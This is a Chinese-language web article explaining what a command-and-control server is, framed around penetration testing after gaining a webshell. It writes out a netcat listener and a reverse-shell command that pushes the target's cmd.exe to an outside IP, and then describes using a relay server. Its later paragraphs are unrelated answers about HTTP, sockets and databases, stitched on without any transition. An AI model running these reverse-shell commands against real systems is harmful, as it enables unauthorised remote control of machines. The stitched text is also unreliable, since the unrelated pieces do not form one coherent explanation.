什么是C&C服务器

什么是C&C服务器,第1张

C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器

通常在做渗透测试的时候,在拿到一个 webshell 的时候,需要对服务器进行提权操作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令。

而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要将低权限的 cmd shell 反弹回本地,这里用 nc 在本地执行:nc -vv -lp 3333

上述命令的意思是在本地监听一个 3333 端口等待连接,假设电脑 IP 是公网的,并且 IP 为 114.114.114.114,然后在目标服务器就可以执行:nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C 服务器。

扩展资料

C&C 服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。

通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。

这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

你先研究一下HTTP协议和socket编程吧,不是一两个函数就能说清楚的,尤其HTTP协议,还是很复杂的,协议说明就几百页。。。。。相连接第一步是用socket 连接对方的某端口,需要先通过域名找到地址,然后用socket连接对方 80端口,成功后你就可以发送符合HTTP协议的请求了。。。http协议头第一行就应该写你在浏览器地址栏里写的东西,包括get参数,后面是其他字段,比如你希望接受什么内容,使用的字符集等等。。。。get和FORM最大区别就是,get是连同地址域名一起发送的,所以你会在地址栏看到他,form则是有专门的字段来描述,你是看不到的,但get简单,在浏览器地址栏上你就可以手动输入参数,不需要使用form控件提交。。。

要做服务器端的话数据库就是放在你的服务器上的, 数据库会提供相应的访问接口, 具体使用方式可以搜一下"C++连接数据库"之类的

http是客户端访问服务器才用得到, 直接操作数据库的总是服务器端而不是客户端


欢迎分享,转载请注明来源:夏雨云

原文地址:https://www.xiayuyun.com/zonghe/181250.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-03-28
下一篇2023-03-28

发表评论

登录后才能评论

评论列表(0条)

    保存